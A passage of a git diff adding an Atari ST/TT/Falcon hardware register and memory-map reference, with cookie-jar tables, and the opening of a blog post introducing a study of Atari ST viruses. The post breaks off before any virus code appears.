+##############Zilog 8530 SCC (MSTe/TT/F030) ########### +-------+-----+-----------------------------------------------------+---------- +$FF8C81|byte |Channel A - Control Register |R/W (SCC) +$FF8C83|byte |Channel A - Data Register |R/W (SCC) +$FF8C85|byte |Channel B - Control Register |R/W (SCC) +$FF8C87|byte |Channel B - Data Register |R/W (SCC) +-------+-----+-----------------------------------------------------+---------- +##############VME Bus System Control Unit (MSTe/TT) ########### +-------+-----+-----------------------------------------------------+---------- +$FF8E01|byte |VME sys_mask BIT 7 6 5 4 . 2 1 .|R/W (VME) +$FF8E03|byte |VME sys_stat BIT 7 6 5 4 . 2 1 .|R (VME) + | |_SYSFAIL in VMEBUS -------------------' | | | | | |program + | |MFP ------------------------------------' | | | | |autovec + | |SCC --------------------------------------' | | | |autovec + | |VSYNC --------------------------------------' | | |program + | |HSYNC ------------------------------------------' | |program + | |System software INT ------------------------------' |program + | +-----------------------------------------------------+ + | |Reading sys_mask resets pending int-bits in sys_stat,| + | |so read sys_stat first. | +-------+-----+-----------------------------------------------------+---------- +$FF8E05|byte |VME sys_int BIT 0|R/W (VME) + | |Setting bit 0 to 1 forces an INT of level 1. INT must|Vector $64 + | |be enabled in sys_mask to use it. | +-------+-----+-----------------------------------------------------+---------- +$FF8E0D|byte |VME vme_mask BIT 7 6 5 4 3 2 1 .|R/W (VME) +$FF8E0F|byte |VME vme_stat BIT 7 6 5 4 3 2 1 .|R (VME) + | |_IRQ7 from VMEBUS --------------------' | | | | | | |program + | |_IRQ6 from VMEBUS/MFP ------------------' | | | | | |program + | |_IRQ5 from VMEBUS/SCC --------------------' | | | | |program + | |_IRQ4 from VMEBUS --------------------------' | | | |program + | |_IRQ3 from VMEBUS/soft -----------------------' | | |prog/autov + | |_IRQ2 from VMEBUS ------------------------------' | |program + | |_IRQ1 from VMEBUS --------------------------------' |program + | +-----------------------------------------------------+ + | |MFP-int and SCC-int are hardwired to the VME-BUS-ints| + | |(or'ed). Reading vme_mask resets pending int-bits in | + | |vme_stat, so read vme_stat first. | +-------+-----+-----------------------------------------------------+---------- +$FF8E07|byte |VME vme_int BIT 0|R/W (TT) + | |Setting bit 0 to 1 forces an INT of level 3. INT must|Vector $6C + | |be enabled in vme_mask to use it. | +-------+-----+-----------------------------------------------------+---------- +$FF8E09|byte |General purpose register - does nothing |R/W (TT) +$FF8E0B|byte |General purpose register - does nothing |R/W (TT) +-------+-----+-----------------------------------------------------+---------- +##############Mega STe Cache/Processor Control ########### +-------+-----+-----------------------------------------------------+---------- +$FF8E21|byte |Mega STe Cache/Processor Control BIT 15-1 0|R/W (MSTe) + | |Cache enable lines (set all to 1 to enable) -----' || + | |CPU Speed (0 - 8mhz, 1 - 16mhz) --------------------'| +-------+-----+-----------------------------------------------------+---------- +##############STe/F030 Extended Joystick/Lightpen Ports ########### +-------+-----+-----------------------------------------------------+---------- +$FF9200|word |Fire buttons 1-4 Bit 3 2 1 0|R (Ext) + | |Pause/F0 -------------------------------------' | | || + | |F1 ---------------------------------------------' | || + | |F2 -----------------------------------------------' || + | |Option/F3 ------------------------------------------'| +$FF9202|word |Read Mask (0 - pin read) |W (Ext) +$FF9202|word |Joystick Inputs BIT 7 6 5 4 3 2 1 0|R (Ext) + | |Controller 1 pin 4 -------------------' | | | | | | || + | |Controller 1 pin 3 ---------------------' | | | | | || + | |Controller 1 pin 2 -----------------------' | | | | || + | |Controller 1 pin 1 -------------------------' | | | || + | |Controller 0 pin 4 ---------------------------' | | || + | |Controller 0 pin 3/Paddle 1 Trigger ------------' | || + | |Controller 0 pin 2/Paddle 0 Trigger --------------' || + | |Controller 0 pin 1 ---------------------------------'| + | | BIT 15 14 13 12 11 10 9 8| + | |Controller 1 pin 14 ------------' | | | | | | || + | |Controller 1 pin 13 ----------------' | | | | | || + | |Controller 1 pin 12 -------------------' | | | | || + | |Controller 1 pin 11 ----------------------' | | | || + | |Controller 0 pin 14 -------------------------' | | || + | |Controller 0 pin 13 ----------------------------' | || + | |Controller 0 pin 12 ------------------------------' || + | |Controller 0 pin 11 --------------------------------'| +$FF9210|word |X Paddle 0 Position BIT 7 6 5 4 3 2 1 0|R (Ext) +$FF9212|word |Y Paddle 0 Position BIT 7 6 5 4 3 2 1 0|R (Ext) +$FF9214|word |X Paddle 1 Position BIT 7 6 5 4 3 2 1 0|R (Ext) +$FF9216|word |Y Paddle 1 Position BIT 7 6 5 4 3 2 1 0|R (Ext) +$FF9220|word |Lightpen X-Position BIT 9 8 7 6 5 4 3 2 1 0|R (Ext) +$FF9222|word |Lightpen Y-Position BIT 9 8 7 6 5 4 3 2 1 0|R (Ext) +-------+-----+-----------------------------------------------------+---------- +##############Falcon VIDEL Palette Registers ########### +-------+-----+-----------------------------------------------------+---------- + | | BIT 33222222 22221111 11111198 76543210| + | | 10987654 32109876 543210 | + | | RRRRRr.. GGGGGg.. ........ BBBBBb..| +$FF9800|long |Palette Register 0 Lowercase = LSB|R/W (F030) + : | : | : : : | : : +$FF98FC|long |Palette Register 255 |R/W (F030) +-------+-----+-----------------------------------------------------+---------- +##############Falcon DSP Host Interface ########### +-------+-----+-----------------------------------------------------+---------- +$FFA200|byte |Interrupt Ctrl Register BIT 7 6 5 4 3 . 1 0|R/W (F030) +X:$FFE9| |INIT bit -----------------------------' | | | | | || + | |00 - Interupt mode (DMA off) -----------+-+ | | | || + | |01 - 24-bit DMA mode -------------------+-+ | | | || + | |10 - 16-bit DMA mode -------------------+-+ | | | || + | |11 - 8-bit DMA mode --------------------+-' | | | || + | |Host Flag 1 --------------------------------' | | || + | |Host Flag 0 ----------------------------------' | || + | | Host mode Data transfers: | || + | | Interrupt mode | || + | |00 - No interrupts (Polling) ---------------------+-+| + | |01 - RXDF Request (Interrupt) --------------------+-+| + | |10 - TXDE Request (Interrupt) --------------------+-+| + | |11 - RXDF and TXDE Request (Interrupts) ----------+-+| + | | DMA Mode | || + | |00 - No DMA --------------------------------------+-+| + | |01 - DSP to Host Request (RX) --------------------+-+| + | |10 - Host to DSP Request (TX) --------------------+-+| + | |11 - Undefined (Illegal) -------------------------+-'| +$FFA201|byte |Command Vector Register BIT 7 . . 4 3 2 1 0|R/W (F030) +X:$FFE9| |Host Command Bit (Handshake)----------' | | | | || + | |Host Vector (0-31) -------------------------+-+-+-+-'| +$FFA202|byte |Interrupt Status Reg BIT 7 6 . 4 3 2 1 0|R (F030) +X:$FFE8| |ISR Host Request ---------------------' | | | | | || + | |ISR DMA Status -------------------------' | | | | || + | |Host Flag 3 --------------------------------' | | | || + | |Host Flag 2 ----------------------------------' | | || + | |ISR Transmitter Ready (TRDY) -------------------' | || + | |ISR Transmit Data Register Empty (TXDE) ----------' || + | |ISR Receive Data Register Full (RXDF) --------------'| +$FFA203|byte |Interrupt Vector Register |R/W (F030) +$FFA204|byte |Unused | (F030) +$FFA205|byte |DSP-Word High |R/W (F030) +X:$FFEB| | | +$FFA206|byte |DSP-Word Mid |R/W (F030) +X:$FFEB| | | +$FFA207|byte |DSP-Word Low |R/W (F030) +X:$FFEB| | | +-------+-----+-----------------------------------------------------+---------- +##############MFP 68901 - Multi Function Peripheral Chip ########### +-------+-----+-----------------------------------------------------+---------- + | | MFP Master Clock is 2,457,600 cycles/second | +-------+-----+-----------------------------------------------------+---------- +$FFFA01|byte |Parallel Port Data Register |R/W +-------+-----+-----------------------------------------------------+---------- +$FFFA03|byte |Active Edge Register BIT 7 6 5 4 . 2 1 0|R/W + | |Monochrome monitor detect ------------' | | | | | | || + | |RS-232 Ring indicator ------------------' | | | | | || + | |FDC/HDC interrupt ------------------------' | | | | || + | |Keyboard/MIDI interrupt --------------------' | | | || + | |Reserved -------------------------------------' | | || + | |RS-232 CTS (input) -----------------------------' | || + | |RS-232 DCD (input) -------------------------------' || + | |Centronics busy ------------------------------------'| + | +-----------------------------------------------------+ + | | When port bits are used for input only: | + | |0 - Interrupt on pin high-low conversion | + | |1 - Interrupt on pin low-high conversion | +-------+-----+-----------------------------------------------------+---------- +$FFFA05|byte |Data Direction BIT 7 6 5 4 3 2 1 0|R/W + | |0 - In, 1 - Out ----------------------+-+-+-+-+-+-+-'| +-------+-----+-----------------------------------------------------+---------- +$FFFA07|byte |Interrupt Enable A BIT 7 6 5 4 3 2 1 0|R/W +$FFFA0B|byte |Interrupt Pending A BIT 7 6 5 4 3 2 1 0|R/W +$FFFA0F|byte |Interrupt In-service A BIT 7 6 5 4 3 2 1 0|R/W +$FFFA13|byte |Interrupt Mask A BIT 7 6 5 4 3 2 1 0|R/W + | |MFP Address | | | | | | | || + | |$13C GPI7-Monochrome Detect ----------' | | | | | | || + | |$138 RS-232 Ring Detector ------------' | | | | | || + | |$134 (STe sound) Timer A --------------' | | | | || + | |$130 Receive buffer full ----------------' | | | || + | |$12C Receive error ------------------' | | || + | |$128 Send buffer empty --------------------' | || + | |$124 Send error ----------------------' || + | |$120 (HBL) Timer B ------------------------'| + | |1 - Enable Interrupt 0 - Disable Interrupt| +-------+-----+-----------------------------------------------------+---------- +$FFFA09|byte |Interrupt Enable B BIT 7 6 5 4 3 2 1 0|R/W +$FFFA0D|byte |Interrupt Pending B BIT 7 6 5 4 3 2 1 0|R/W +$FFFA11|byte |Interrupt In-service B BIT 7 6 5 4 3 2 1 0|R/W +$FFFA15|byte |Interrupt Mask B BIT 7 6 5 4 3 2 1 0|R/W + | |MFP Address | | | | | | | || + | |$11C FDC/HDC ----------' | | | | | | || + | |$118 Keyboard/MIDI ------------' | | | | | || + | |$114 (200hz clock) Timer C --------------' | | | | || + | |$110 (USART timer) Timer D ----------------' | | | || + | |$10C Blitter done ------------------' | | || + | |$108 RS-232 CTS - input --------------------' | || + | |$104 RS-232 DCD - input ----------------------' || + | |$100 Centronics Busy ------------------------'| + | |1 - Enable Interrupt 0 - Disable Interrupt| +-------+-----+-----------------------------------------------------+---------- +$FFFA17|byte |Vector Register BIT 7 6 5 4 3 . . .|R/W + | |Vector Base Offset -------------------+-+-+-' | | + | |1 - *Software End-interrupt mode -------------+ | + | |0 - Automatic End-interrupt mode -------------' | + | |* - Default operating mode | +-------+-----+-----------------------------------------------------+---------- +$FFFA19|byte |Timer A Control BIT 4 3 2 1 0|R/W +$FFFA1B|byte |Timer B Control BIT 4 3 2 1 0|R/W + | |Reset (force output low) -------------------' | | | || + | +----------------------------------------------+-+-+-++ + | |0000 - Timer stop, no function executed | + | |0001 - Delay mode, divide by 4 | + | |0010 - : : 10 | + | |0011 - : : 16 | + | |0100 - : : 50 | + | |0101 - : : 64 | + | |0110 - : : 100 | + | |0111 - Delay mode, divide by 200 | + | |1000 - Event count mode | + | |1xxx - Pulse extension mode, divide as above | + | +-----------------------------------------------------+ +$FFFA1F|byte |Timer A Data |R/W +$FFFA21|byte |Timer B Data |R/W +-------+-----+-----------------------------------------------------+---------- +$FFFA1D|byte |Timer C & D Control BIT 6 5 4 . 2 1 0|R/W + | | Timer Timer| + | | C D | + | +-----------------------------------------------------+ + | |000 - Timer stop | + | |001 - Delay mode, divide by 4 | + | |010 - : : 10 | + | |011 - : : 16 | + | |100 - : : 50 | + | |101 - : : 64 | + | |110 - : : 100 | + | |111 - Delay mode, divide by 200 | + | +-----------------------------------------------------+ +$FFFA23|byte |Timer C Data |R/W +$FFFA25|byte |Timer D Data |R/W +-------+-----+-----------------------------------------------------+---------- +$FFFA27|byte |Sync Character |R/W +$FFFA29|byte |USART Control BIT 7 6 5 4 3 2 1 .|R/W + | |Clock divide (1 - div by 16) ---------' | | | | | | || + | |Word Length 00 - 8 bits ----------------+-+ | | | | || + | | 01 - 7 bits ----------------+-+ | | | | || + | | 10 - 6 bits ----------------+-+ | | | | || + | | 11 - 5 bits ----------------+-' | | | | || + | |Bits Stop Start Format | | | | || + | |00 0 0 Synchronous ----------------+-+ | | || + | |01 1 1 Asynchronous ---------------+-+ | | || + | |10 1 1.5 Asynchronous ---------------+-+ | | || + | |11 1 2 Asynchronous ---------------+-' | | || + | |Parity (0 - ignore parity bit) -----------------' | || + | |Parity (0 - odd parity,1 - even) -----------------' || + | |Unused ---------------------------------------------'| +$FFFA2B|byte |Receiver Status BIT 7 6 5 4 3 2 1 0|R/W + | |Buffer full --------------------------' | | | | | | || + | |Overrun error --------------------------' | | | | | || + | |Parity error -----------------------------' | | | | || + | |Frame error --------------------------------' | | | || + | |Found - Search/Break detected ----------------' | | || + | |Match/Character in progress --------------------' | || + | |Synchronous strip enable -------------------------' || + | |Receiver enable bit --------------------------------'| +$FFFA2D|byte |Transmitter Status BIT 7 6 5 4 3 2 1 0|R/W + | |Buffer empty -------------------------' | | | | | | || + | |Underrun error -------------------------' | | | | | || + | |Auto turnaround --------------------------' | | | | || + | |End of transmission ------------------------' | | | || + | |Break ----------------------------------------' | | || + | |High bit ---------------------------------------' | || + | |Low bit ------------------------------------------' || + | |Transmitter enable ---------------------------------'| +$FFFA2F|byte |USART data |R/W +-------+-----+-----------------------------------------------------+---------- +##############Floating Point Coprocessor (CIR Interface in MSTe) ########### +-------+-----+-----------------------------------------------------+---------- +$FFFA40|word |FP_Stat Response-Register |??? (MSTe) +$FFFA42|word |FP_Ctl Control-Register |??? (MSTe) +$FFFA44|word |FP_Save Save-Register |??? (MSTe) +$FFFA46|word |FP_Restor Restore-Register |??? (MSTe) +$FFFA48|word | |??? (MSTe) +$FFFA4A|word |FP_Cmd Command-Register |??? (MSTe) +$FFFA4E|word |FP_Ccr Condition-Code-Register |??? (MSTe) +$FFFA50|long |FP_Op Operand-Register |??? (MSTe) +$FFFA54|word |FP_Selct Register Select |??? (MSTe) +$FFFA58|long |FP_Iadr Instruction Address |??? (MSTe) +$FFFA5C|long | Operand Address |??? (MSTe) +-------+-----+-----------------------------------------------------+---------- +##############MFP 68901 #2 (MFP2) - TT Only ########### +-------+-----+-----------------------------------------------------+---------- +$FFFA81|byte |Parallel Port Data Register |R/W (TT) +-------+-----+-----------------------------------------------------+---------- +$FFFA83|byte |Active Edge Register BIT 7 6 5 4 3 2 1 0|R/W (TT) + | +-----------------------------------------------------+ + | | When port bits are used for input only: | + | |0 - Interrupt on pin high-low conversion | + | |1 - Interrupt on pin low-high conversion | +-------+-----+-----------------------------------------------------+---------- +$FFFA85|byte |Data Direction BIT 7 6 5 4 3 2 1 0|R/W (TT) + | |0 - In, 1 - Out ----------------------+-+-+-+-+-+-+-'| +-------+-----+-----------------------------------------------------+---------- +$FFFA87|byte |Interrupt Enable A BIT 7 6 5 4 3 2 1 0|R/W (TT) +$FFFA8B|byte |Interrupt Pending A BIT 7 6 5 4 3 2 1 0|R/W (TT) +$FFFA8F|byte |Interrupt In-service A BIT 7 6 5 4 3 2 1 0|R/W (TT) +$FFFA93|byte |Interrupt Mask A BIT 7 6 5 4 3 2 1 0|R/W (TT) + | |MFP Address | | | | | | | || + | |$17C TT-SCSI NCR5380 ---------' | | | | | | || + | |$178 RTC (MC146818A) -----------' | | | | | || + | |$174 Timer A -------------' | | | | || + | |$170 Receive buffer full ---------------' | | | || + | |$16C Receive error -----------------' | | || + | |$168 Send buffer empty -------------------' | || + | |$164 Send error ---------------------' || + | |$160 Timer B -----------------------'| + | |1 - Enable Interrupt 0 - Disable Interrupt| +-------+-----+-----------------------------------------------------+---------- +$FFFA89|byte |Interrupt Enable B BIT 7 6 5 4 3 2 1 0|R/W (TT) +$FFFA8D|byte |Interrupt Pending B BIT 7 6 5 4 3 2 1 0|R/W (TT) +$FFFA91|byte |Interrupt In-service B BIT 7 6 5 4 3 2 1 0|R/W (TT) +$FFFA95|byte |Interrupt Mask B BIT 7 6 5 4 3 2 1 0|R/W (TT) + | |MFP Address | | | | | | | || + | |$15C SCSI DMA Controller ---------' | | | | | | || + | |$158 (Reserved) GPIP 4 -----------' | | | | | || + | |$154 Timer C -------------' | | | | || + | |$150 Timer D ---------------' | | | || + | |$14C SCC B Ring Indicator -----------------' | | || + | |$148 SCC DMA Controller -------------------' | || + | |$144 General Purpose Input 1 ---------------------' || + | |$140 General Purpose Input 0 -----------------------'| + | |1 - Enable Interrupt 0 - Disable Interrupt| +-------+-----+-----------------------------------------------------+---------- +$FFFA97|byte |Vector Register BIT 7 6 5 4 3 . . .|R/W (TT) + | |Vector Base Offset -------------------+-+-+-' | | + | |1 - *Software End-interrupt mode -------------+ | + | |0 - Automatic End-interrupt mode -------------' | + | |* - Default operating mode | +-------+-----+-----------------------------------------------------+---------- +$FFFA99|byte |Timer A Control BIT 4 3 2 1 0|R/W (TT) +$FFFA9B|byte |Timer B Control BIT 4 3 2 1 0|R/W (TT) + | |Reset (force output low) -------------------' | | | || + | +----------------------------------------------+-+-+-++ + | |0000 - Timer stop, no function executed | + | |0001 - Delay mode, divide by 4 | + | |0010 - : : 10 | + | |0011 - : : 16 | + | |0100 - : : 50 | + | |0101 - : : 64 | + | |0110 - : : 100 | + | |0111 - Delay mode, divide by 200 | + | |1000 - Event count mode | + | |1xxx - Pulse extension mode, divide as above | + | +-----------------------------------------------------+ +$FFFA9F|byte |Timer A Data |R/W (TT) +$FFFAA1|byte |Timer B Data |R/W (TT) +-------+-----+-----------------------------------------------------+---------- +$FFFA9D|byte |Timer C & D Control BIT 6 5 4 . 2 1 0|R/W (TT) + | | Timer Timer| + | | C D | + | +-----------------------------------------------------+ + | |000 - Timer stop | + | |001 - Delay mode, divide by 4 | + | |010 - : : 10 | + | |011 - : : 16 | + | |100 - : : 50 | + | |101 - : : 64 | + | |110 - : : 100 | + | |111 - Delay mode, divide by 200 | + | +-----------------------------------------------------+ +$FFFAA3|byte |Timer C Data |R/W (TT) +$FFFAA5|byte |Timer D Data |R/W (TT) +-------+-----+-----------------------------------------------------+---------- +$FFFAA7|byte |Sync Character |R/W (TT) +$FFFAA9|byte |USART Control BIT 7 6 5 4 3 2 1 .|R/W (TT) + | |Clock divide (1 - div by 16) ---------' | | | | | | || + | |Word Length 00 - 8 bits ----------------+-+ | | | | || + | | 01 - 7 bits ----------------+-+ | | | | || + | | 10 - 6 bits ----------------+-+ | | | | || + | | 11 - 5 bits ----------------+-' | | | | || + | |Bits Stop Start Format | | | | || + | |00 0 0 Synchronous ----------------+-+ | | || + | |01 1 1 Asynchronous ---------------+-+ | | || + | |10 1 1.5 Asynchronous ---------------+-+ | | || + | |11 1 2 Asynchronous ---------------+-' | | || + | |Parity (0 - ignore parity bit) -----------------' | || + | |Parity (0 - odd parity,1 - even) -----------------' || + | |Unused ---------------------------------------------'| +$FFFAAB|byte |Receiver Status BIT 7 6 5 4 3 2 1 0|R/W (TT) + | |Buffer full --------------------------' | | | | | | || + | |Overrun error --------------------------' | | | | | || + | |Parity error -----------------------------' | | | | || + | |Frame error --------------------------------' | | | || + | |Found - Search/Break detected ----------------' | | || + | |Match/Character in progress --------------------' | || + | |Synchronous strip enable -------------------------' || + | |Receiver enable bit --------------------------------'| +$FFFAAD|byte |Transmitter Status BIT 7 6 5 4 3 2 1 0|R/W (TT) + | |Buffer empty -------------------------' | | | | | | || + | |Underrun error -------------------------' | | | | | || + | |Auto turnaround --------------------------' | | | | || + | |End of transmission ------------------------' | | | || + | |Break ----------------------------------------' | | || + | |High bit ---------------------------------------' | || + | |Low bit ------------------------------------------' || + | |Transmitter enable ---------------------------------'| +$FFFAAF|byte |USART data |R/W (TT) +-------+-----+-----------------------------------------------------+---------- +##############6850 ACIA I/O Chips ########### +-------+-----+-----------------------------------------------------+---------- +$FFFC00|byte |Keyboard ACIA control BIT 7 6 5 4 3 2 1 0|W + | |Rx Int enable (1 - enable) -----------' | | | | | | || + | |Tx Interrupts | | | | | | || + | |00 - RTS low, Tx int disable -----------+-+ | | | | || + | |01 - RTS low, Tx int enable ------------+-+ | | | | || + | |10 - RTS high, Tx int disable ----------+-+ | | | | || + | |11 - RTS low, Tx int disable, | | | | | | || + | | Tx a break onto data out ----------+-' | | | | || + | |Settings | | | | || + | |000 - 7 bit, even, 2 stop bit --------------+-+-+ | || + | |001 - 7 bit, odd, 2 stop bit ---------------+-+-+ | || + | |010 - 7 bit, even, 1 stop bit --------------+-+-+ | || + | |011 - 7 bit, odd, 1 stop bit ---------------+-+-+ | || + | |100 - 8 bit, 2 stop bit --------------------+-+-+ | || + | |101 - 8 bit, 1 stop bit --------------------+-+-+ | || + | |110 - 8 bit, even, 1 stop bit --------------+-+-+ | || + | |111 - 8 bit, odd, 1 stop bit ---------------+-+-' | || + | |Clock divide | || + | |00 - Normal --------------------------------------+-+| + | |01 - Div by 16 -----------------------------------+-+| + | |10 - Div by 64 -----------------------------------+-+| + | |11 - Master reset --------------------------------+-'| +$FFFC00|byte |Keyboard ACIA control BIT 7 6 5 4 3 2 1 0|R + | |Interrupt request --------------------' | | | | | | || + | |Parity error ---------------------------' | | | | | || + | |Rx overrun -------------------------------' | | | | || + | |Framing error ------------------------------' | | | || + | |CTS ------------------------------------------' | | || + | |DCD --------------------------------------------' | || + | |Tx data register empty ---------------------------' || + | |Rx data register full ------------------------------'| +$FFFC02|byte |Keyboard ACIA data |R/W +$FFFC04|byte |MIDI ACIA control BIT 7 6 5 4 3 2 1 0|W + | |Rx Int enable (1 - enable) -----------' | | | | | | || + | |Tx Interrupts | | | | | | || + | |00 - RTS low, Tx int disable -----------+-+ | | | | || + | |01 - RTS low, Tx int enable ------------+-+ | | | | || + | |10 - RTS high, Tx int disable ----------+-+ | | | | || + | |11 - RTS low, Tx int disable, | | | | | | || + | | Tx a break onto data out ----------+-' | | | | || + | |Settings | | | | || + | |000 - 7 bit, even, 2 stop bit --------------+-+-+ | || + | |001 - 7 bit, odd, 2 stop bit ---------------+-+-+ | || + | |010 - 7 bit, even, 1 stop bit --------------+-+-+ | || + | |011 - 7 bit, odd, 1 stop bit ---------------+-+-+ | || + | |100 - 8 bit, 2 stop bit --------------------+-+-+ | || + | |101 - 8 bit, 1 stop bit --------------------+-+-+ | || + | |110 - 8 bit, even, 1 stop bit --------------+-+-+ | || + | |111 - 8 bit, odd, 1 stop bit ---------------+-+-' | || + | |Clock divide | || + | |00 - Normal --------------------------------------+-+| + | |01 - Div by 16 -----------------------------------+-+| + | |10 - Div by 64 -----------------------------------+-+| + | |11 - Master reset --------------------------------+-'| +$FFFC04|byte |MIDI ACIA control BIT 7 6 5 4 3 2 1 0|R + | |Interrupt request --------------------' | | | | | | || + | |Parity error ---------------------------' | | | | | || + | |Rx overrun -------------------------------' | | | | || + | |Framing error ------------------------------' | | | || + | |CTS ------------------------------------------' | | || + | |DCD --------------------------------------------' | || + | |Tx data register empty ---------------------------' || + | |Rx data register full ------------------------------'| +$FFFC06|byte |MIDI ACIA data |R/W +-------+-----+-----------------------------------------------------+---------- +##############Realtime Clock ########### +-------+-----+-----------------------------------------------------+---------- +$FFFC21|byte |S_Units |??? +$FFFC23|byte |S_Tens |??? +$FFFC25|byte |M_Units |??? +$FFFC27|byte |M_Tens |??? +$FFFC29|byte |H_Units |??? +$FFFC2B|byte |H_Tens |??? +$FFFC2D|byte |Weekday |??? +$FFFC2F|byte |Day_Units |??? +$FFFC31|byte |Day_Tens |??? +$FFFC33|byte |Mon_Units |??? +$FFFC35|byte |Mon_Tens |??? +$FFFC37|byte |Yr_Units |??? +$FFFC39|byte |Yr_Tens |??? +$FFFC3B|byte |Cl_Mod |??? +$FFFC3D|byte |Cl_Test |??? +$FFFC3F|byte |Cl_Reset |??? +-------+-----+-----------------------------------------------------+---------- +##############ROM ########### +-------+-----+-----------------------------------------------------+---------- +$FA0000| | | + : | |128K ROM expansion cartridge port |R +$FBFFFF| | | +-------+-----+-----------------------------------------------------+---------- +$FC0000| | | + : | |192K System ROM |R +$FEFFFF| | | +-------+-----+-----------------------------------------------------+---------- + + Atari 32 bit Memory Map + +Addresses Description +-------------------+---------------------------------------------------------- +$00000000-$00DFFFFF|ST RAM +$00E00000-$00EFFFFF|512k TOS ROMs +$00F00000-$00F9FFFF|Reserved I/O Space +$00FA0000-$00FBFFFF|128k ROM cartridge expansion port +$00FC0000-$00FEFFFF|192k System ROM +$00FF0000-$00FF7FFF|Reserved I/O Space +$00FF8000-$00FFFFFF|ST/TT I/O +$01000000-$013FFFFF|TT Fast Ram +$01400000-$FDFFFFFF|Reserved +$FE000000-$FEFFFFFF|VME A24/D16 +$FEFF0000-$FEFFFFFF|VME A16/D16 +$FF000000-$FFFFFFFF|ST 24 bit compatible shadow +$FFD000xx-$FFD000xx|Set FastRAM refresh rate and generate a bus error +-------------------+---------------------------------------------------------- + + Cookie Jar + Atari "Official" Cookies +Cookie Description +-------+---------------------------------------------------------------------- +_CPU | CPU Type Bit 7 6 5 4 3 2 1 0 + | Processor type is represented in decimal in the lowest byte. + | (0 - 68000, 40 - 68040) +-------+---------------------------------------------------------------------- +_VDO | Video Type BIT 17 16 + | Shifter Type | | + | 00 - ST ---------------------------------------------------------+--+ + | 01 - STe --------------------------------------------------------+--+ + | 10 - TT ---------------------------------------------------------+--+ + | 11 - Falcon030 --------------------------------------------------+--' +-------+---------------------------------------------------------------------- +_FDC | Floppy Drive Controller BIT 25 24 . 23-0 + | Floppy Format | | | + | 00 - DD (Normal floppy interface) ------------------------+--+ | + | 01 - HD (1.44 MB with 3.5") ------------------------------+--+ | + | 10 - ED (2.88 MB with 3.5") ------------------------------+--' | + | Controller ID | + | 0 - No information available | + | 'ATC' - Fully compatible interface built in a way that -------------+ + | behaves like part of the system. | + | 'DP1' - "DreamPark Development", all ID's beginning with -----------' + | "DP" are reserved for Dreampark. +-------+---------------------------------------------------------------------- +_FLK | File Locking + | If present, GEMDOS supports file locking. Value represents version + | number of the expansion. +-------+---------------------------------------------------------------------- +_NET | Network Type + | If present, there is GEMDOS network support. Points to 2 longs: + | The first is the ID of the producer, and the second is the version + | number. +-------+---------------------------------------------------------------------- +_SLM | SLM Driver + | Diablo-driver for the SLM laser printer. Value points to a + | non-documented structure. +-------+---------------------------------------------------------------------- +_INF | .INF Patch + | When present, STEFIX (patch program for TOS 1.06) is active. +-------+---------------------------------------------------------------------- +_SND | Sound Hardware BIT 5 4 3 2 1 0 + | CodeC (??) -----------------------------------------------' | | | | | + | Connection Matrix ------------------------------------------' | | | | + | DSP56001 -----------------------------------------------------' | | | + | 16 Bit DMA Sound -----------------------------------------------' | | + | 8 Bit DMA Sound --------------------------------------------------' | + | YM2149 -------------------------------------------------------------' +-------+---------------------------------------------------------------------- +_MCH | Machine Type BIT 17 16 + | 00 - ST/Mega ST -------------------------------------------------+--+ + | 01 - STe & Compatible Machines (See Below) ----------------------+--+ + | 10 - TT ---------------------------------------------------------+--+ + | 11 - Falcon030 --------------------------------------------------+--' + | STe & Compatible Machines BIT 5 4 3 2 1 0 + | 00000 - STe ----------------------------------------------+-+-+-+-+-+ + | 00001 - ST Book ------------------------------------------+-+-+-+-+-+ + | 10000 - Mega STe -----------------------------------------+-+-+-+-+-' +-------+---------------------------------------------------------------------- +_SWI | Configuration Switches + | State of configuration switches (MSTe/TT only) +-------+---------------------------------------------------------------------- +_FRB | Fast Ram Buffer + | (TT specific) 64k buffer for ACSI DMA + | 0 - no buffers assigned Not 0 - address of FastRam buffer +-------+---------------------------------------------------------------------- +_FPU | FPU Type + | Software FPU BIT 3 2 1 0 + | 68040's internal FPU -----------------------------------------' | | | + | 01 - 6888x present ---------------------------------------------+-+ | + | 10 - 68881 for sure --------------------------------------------+-+ | + | 11 - 68882 for sure --------------------------------------------+-' | + | SFP004 present -----------------------------------------------------' + | Hardware FPU BIT 11 10 9 8 + | 68040's internal FPU ----------------------------------------' | | | + | 01 - 6888x present ---------------------------------------------+-+ | + | 10 - 68881 for sure --------------------------------------------+-+ | + | 11 - 68882 for sure --------------------------------------------+-' | + | SFP004 present -----------------------------------------------------' +-------+---------------------------------------------------------------------- +_OOL | PoolFix + | Value corresponds to PoolFix version +-------+---------------------------------------------------------------------- +_AKP | Keyboard/Language Configuration + | Keyboard Configuration Bit 15-8 + | 1 - German 5 - Italian -------------------------------------------+ + | 2 - French 7 - Swiss French --------------------------------------+ + | 4 - Spanish 8 - Swiss German --------------------------------------+ + | All others - English -----------------------------------------------' + | Language Configuration BIT 7-0 + | 1 - German 5 - Italian -------------------------------------------+ + | 2 - French 7 - Swiss French --------------------------------------+ + | 4 - Spanish 8 - Swiss German --------------------------------------+ + | All others - English -----------------------------------------------' +-------+---------------------------------------------------------------------- +_IDT | International Date/Time Format + | Time Format BIT 12 + | 0 - AM/PM, 1 - 24 hours --------------------------------------------+ + | Date Format BIT 9 8 + | 00 - MMDDYY ------------------------------------------------------+-+ + | 01 - DDMMYY ------------------------------------------------------+-+ + | 10 - YYMMDD ------------------------------------------------------+-+ + | 11 - YYDDMM ------------------------------------------------------+-' + | Separator for date BIT 7-0 + | ASCII Value (i.e. "." or "/") --------------------------------------' +-------+---------------------------------------------------------------------- +MiNT | MiNT + | Present if MiNT/MultiTOS is active. Value represents the version + | number of the MiNT kernel in hex (0x104 = 1.04) +-------+---------------------------------------------------------------------- + +``` \ No newline at end of file diff --git a/content/welcome.md b/content/welcome.md new file mode 100644 index 0000000..a853d26 --- /dev/null +++ b/content/welcome.md @@ -0,0 +1,18 @@ +Title: A time window on an exciting past.... +Date: 2024-08-17 06:40 +Location: Stockholm / Sweden +Category: Atari ST, Virus +Lang: en +Author: shazz + + +While I'm waiting for my flight from the pretty high tech and green Arlandia airport in Stockholm, that's a good start to rewind the clock and go back to the 80s. I must admit, at this time, I was at little too young to understand the technical details behind the first digital living organisms created by coders: the first computer viruses. + +A few days ago, while discovering the amazing country of my friends from Dead Hackers Society, I was reading a pretty interesting blog article called [Computer Archeology: Exploring the Anatomy of an MS-DOS Virus](https://www.metacodes.pro/blog/computer_archeology_exploring_the_anatomy_of_an_ms_dos_virus/) and it gave me the motivation to so something similar but for the Atari ST. + +That's a long time I did not code on any Atari computers, so my 68K skills are pretty rusty but... that should be 